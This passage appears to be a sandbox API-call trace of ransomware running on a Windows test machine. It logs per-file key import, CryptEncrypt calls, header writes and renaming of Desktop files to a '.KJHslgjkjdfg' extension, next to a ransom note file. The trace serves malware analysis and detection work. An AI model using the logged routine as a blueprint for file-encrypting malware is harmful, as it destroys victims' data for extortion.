SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.281] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7de6, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x7de6, lpOverlapped=0x0) returned 1 [0144.282] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x7df0, dwBufLen=0x7df0 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x7df0) returned 1 [0144.283] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.283] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7df0, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x7df0, lpOverlapped=0x0) returned 1 [0144.284] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.284] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x7ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.284] SetEndOfFile (hFile=0xc0) returned 1 [0144.286] GetProcessHeap () returned 0x990000 [0144.286] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0144.287] GetProcessHeap () returned 0x990000 [0144.287] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.287] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KvvapOYqE2NFT.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kvvapoyqe2nft.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KvvapOYqE2NFT.wav.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kvvapoyqe2nft.wav.kjhslgjkjdfg")) returned 1 [0144.296] CloseHandle (hObject=0xc0) returned 1 [0144.297] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf810ea00, ftCreationTime.dwHighDateTime=0x1d62785, ftLastAccessTime.dwLowDateTime=0xf810ea00, ftLastAccessTime.dwHighDateTime=0x1d62785, ftLastWriteTime.dwLowDateTime=0xb97a3000, ftLastWriteTime.dwHighDateTime=0x1d62783, nFileSizeHigh=0x0, nFileSizeLow=0x2b200, dwReserved0=0x0, dwReserved1=0xffff, cFileName="lok.exe", cAlternateFileName="")) returned 1 [0144.297] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d297450, ftCreationTime.dwHighDateTime=0x1d5dbb8, ftLastAccessTime.dwLowDateTime=0xc11b7320, ftLastAccessTime.dwHighDateTime=0x1d5e500, ftLastWriteTime.dwLowDateTime=0xc11b7320, ftLastWriteTime.dwHighDateTime=0x1d5e500, nFileSizeHigh=0x0, nFileSizeLow=0xae11, dwReserved0=0x0, dwReserved1=0xffff, cFileName="Ogoj.m4a", cAlternateFileName="")) returned 1 [0144.297] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ogoj.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ogoj.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0144.297] GetProcessHeap () returned 0x990000 [0144.297] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.297] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.297] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0144.297] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0xf, lpOverlapped=0x0) returned 1 [0144.300] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.300] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.300] GetProcessHeap () returned 0x990000 [0144.300] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0144.300] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29dfc78*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29dfc78*=0x30) returned 1 [0144.300] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.300] WriteFile (in: hFile=0xc0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29dfc90*=0x30, lpOverlapped=0x0) returned 1 [0144.300] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0144.300] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0144.300] WriteFile (in: hFile=0xc0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0144.301] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0144.301] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0144.301] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.301] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.301] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.313] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xae11, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0xae11, lpOverlapped=0x0) returned 1 [0144.315] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0xae20, dwBufLen=0xae20 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0xae20) returned 1 [0144.316] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.316] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xae20, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0xae20, lpOverlapped=0x0) returned 1 [0144.316] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.316] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0xaee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.316] SetEndOfFile (hFile=0xc0) returned 1 [0144.332] GetProcessHeap () returned 0x990000 [0144.332] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.332] GetProcessHeap () returned 0x990000 [0144.332] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.332] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ogoj.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ogoj.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ogoj.m4a.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ogoj.m4a.kjhslgjkjdfg")) returned 1 [0144.333] CloseHandle (hObject=0xc0) returned 1 [0144.341] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd03d4e0, ftCreationTime.dwHighDateTime=0x1d5dea6, ftLastAccessTime.dwLowDateTime=0x1ac27d60, ftLastAccessTime.dwHighDateTime=0x1d5e655, ftLastWriteTime.dwLowDateTime=0x1ac27d60, ftLastWriteTime.dwHighDateTime=0x1d5e655, nFileSizeHigh=0x0, nFileSizeLow=0x18b5f, dwReserved0=0x0, dwReserved1=0xffff, cFileName="ORjJZ.m4a", cAlternateFileName="")) returned 1 [0144.341] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ORjJZ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\orjjz.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0144.341] GetProcessHeap () returned 0x990000 [0144.341] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.342] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.342] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0144.342] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0x1, lpOverlapped=0x0) returned 1 [0144.344] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.344] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.344] GetProcessHeap () returned 0x990000 [0144.344] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0144.344] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29dfc78*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29dfc78*=0x30) returned 1 [0144.344] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.344] WriteFile (in: hFile=0xc0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29dfc90*=0x30, lpOverlapped=0x0) returned 1 [0144.344] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0144.344] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0144.345] WriteFile (in: hFile=0xc0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0144.345] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0144.345] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0144.345] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.345] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.345] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.345] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x18b5f, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x18b5f, lpOverlapped=0x0) returned 1 [0144.346] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x18b60, dwBufLen=0x18b60 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x18b60) returned 1 [0144.348] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.348] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x18b60, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x18b60, lpOverlapped=0x0) returned 1 [0144.348] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.348] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x18c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.348] SetEndOfFile (hFile=0xc0) returned 1 [0144.353] GetProcessHeap () returned 0x990000 [0144.353] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.353] GetProcessHeap () returned 0x990000 [0144.353] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.353] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ORjJZ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\orjjz.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ORjJZ.m4a.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\orjjz.m4a.kjhslgjkjdfg")) returned 1 [0144.355] CloseHandle (hObject=0xc0) returned 1 [0144.355] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8992030, ftCreationTime.dwHighDateTime=0x1d5de84, ftLastAccessTime.dwLowDateTime=0x226497f0, ftLastAccessTime.dwHighDateTime=0x1d5e5ca, ftLastWriteTime.dwLowDateTime=0x226497f0, ftLastWriteTime.dwHighDateTime=0x1d5e5ca, nFileSizeHigh=0x0, nFileSizeLow=0x10bc7, dwReserved0=0x0, dwReserved1=0xffff, cFileName="Qk9N17EOmfU.ots", cAlternateFileName="QK9N17~1.OTS")) returned 1 [0144.355] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qk9N17EOmfU.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qk9n17eomfu.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0144.356] GetProcessHeap () returned 0x990000 [0144.356] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.356] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.356] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0144.356] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0x9, lpOverlapped=0x0) returned 1 [0144.358] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.358] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.358] GetProcessHeap () returned 0x990000 [0144.358] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0144.358] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29dfc78*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29dfc78*=0x40) returned 1 [0144.358] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.359] WriteFile (in: hFile=0xc0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29dfc90*=0x40, lpOverlapped=0x0) returned 1 [0144.359] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0144.359] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0144.359] WriteFile (in: hFile=0xc0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0144.359] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0144.359] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0144.359] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.359] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.360] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.360] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x10bc7, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x10bc7, lpOverlapped=0x0) returned 1 [0144.361] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x10bd0, dwBufLen=0x10bd0 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x10bd0) returned 1 [0144.362] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.362] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x10bd0, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x10bd0, lpOverlapped=0x0) returned 1 [0144.362] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.363] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x10ca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.363] SetEndOfFile (hFile=0xc0) returned 1 [0144.369] GetProcessHeap () returned 0x990000 [0144.372] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0144.372] GetProcessHeap () returned 0x990000 [0144.372] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.372] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qk9N17EOmfU.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qk9n17eomfu.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qk9N17EOmfU.ots.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qk9n17eomfu.ots.kjhslgjkjdfg")) returned 1 [0144.383] CloseHandle (hObject=0xc0) returned 1 [0144.384] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3432dd90, ftCreationTime.dwHighDateTime=0x1d62786, ftLastAccessTime.dwLowDateTime=0x3432dd90, ftLastAccessTime.dwHighDateTime=0x1d62786, ftLastWriteTime.dwLowDateTime=0x3432dd90, ftLastWriteTime.dwHighDateTime=0x1d62786, nFileSizeHigh=0x0, nFileSizeLow=0x3b3, dwReserved0=0x0, dwReserved1=0xffff, cFileName="readme-warning.txt", cAlternateFileName="README~1.TXT")) returned 1 [0144.384] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a161c0, ftCreationTime.dwHighDateTime=0x1d5e4d2, ftLastAccessTime.dwLowDateTime=0x8dcd1660, ftLastAccessTime.dwHighDateTime=0x1d5e265, ftLastWriteTime.dwLowDateTime=0x8dcd1660, ftLastWriteTime.dwHighDateTime=0x1d5e265, nFileSizeHigh=0x0, nFileSizeLow=0x9867, dwReserved0=0x0, dwReserved1=0xffff, cFileName="RGa-ut-OR8lIVLmg.ots", cAlternateFileName="RGA-UT~1.OTS")) returned 1 [0144.384] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RGa-ut-OR8lIVLmg.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rga-ut-or8livlmg.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0144.384] GetProcessHeap () returned 0x990000 [0144.384] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0144.384] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0144.385] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0144.385] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0x9, lpOverlapped=0x0) returned 1 [0144.392] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0144.392] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0144.392] GetProcessHeap () returned 0x990000 [0144.392] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0144.392] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50) returned 1 [0144.392] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0144.393] WriteFile (in: hFile=0xc0, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29dfc90*=0x50, lpOverlapped=0x0) returned 1 [0144.393] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0144.396] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0144.396] WriteFile (in: hFile=0xc0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0144.397] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0144.397] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | 